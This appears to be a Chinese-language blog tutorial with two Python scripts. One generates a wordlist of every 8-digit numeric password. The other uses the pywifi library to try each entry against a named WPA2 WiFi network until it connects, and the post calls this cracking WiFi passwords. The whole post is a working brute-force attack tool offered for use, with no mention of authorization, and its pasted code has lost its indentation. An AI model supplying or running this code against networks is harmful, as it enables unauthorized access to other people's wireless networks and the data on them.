代码功能:
通过创建8位数密码本,然后遍历连接你想要的wifi,不过这个只能连接密码是数字的哦~
生成数字密码本:
import itertools as its
import datetime
start=datetime.datetime.now()
words = '1234567890'
r = its.product(words,repeat=8)#4即生成4位密码,正常情况下热点密码位数为8
dic =open(r"C:\Users\zou\Desktop\8位数密码全部.txt",'a')
for i in r:
dic.write(''.join(i))
dic.write(''.join('\n'))
print(i)
dic.close()
print('密码本生成好了')
end=datetime.datetime.now()
print("生成密码本一共用了多长时间:{}".format(end-start))
这里需要你修改保存密码本的位置
wifi密码连接遍历:
import pywifi
from pywifi import const
import time
import datetime
def wifiConnect(pwd): #抓取网卡接口
wifi=pywifi.PyWiFi() #获取第一个无线网卡
ifaces=wifi.interfaces()[0] #断开所有连接
ifaces.disconnect()
time.sleep(1)
wifistatus=ifaces.status()
if wifistatus ==const.IFACE_DISCONNECTED: #创建WiFi连接文件
profile=pywifi.Profile() #要连接WiFi的名称
profile.ssid="XXXXXXX" #这里才是你要输入的wifi名称!!!! #网卡的开放状态
profile.auth=const.AUTH_ALG_OPEN #wifi加密算法,一般wifi加密算法为wps
profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密单元
profile.cipher=const.CIPHER_TYPE_CCMP #调用密码
profile.key=pwd #删除所有连接过的wifi文件
ifaces.remove_all_network_profiles() #设定新的连接文件
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile) #wifi连接时间
time.sleep(3)
if ifaces.status()==const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi连接")
#读取密码本
def readPassword():
print("开始破解:") #密码本路径
path = r"C:\Users\zou\8位数密码全部.txt"#打开文件
file=open(path)
while True:
try: #一行一行读取
pad=file.readline()
bool=wifiConnect(pad)
if bool:
print("密码已破解: ",pad)
print("WiFi已自动连接!!!")
break
else: #跳出当前循环,进行下一次循环
print("密码破解中....密码校对: ",pad)
except:
continue
start=datetime.datetime.now()
readPassword()
end=datetime.datetime.now()
print("破解WIFI密码一共用了多长时间:{}".format(end-start))
这里需要修改输入的wifi名称,接着就可以挂着等待了(虽然这个方式呆呆的,不过也算是一种破解密码的方法)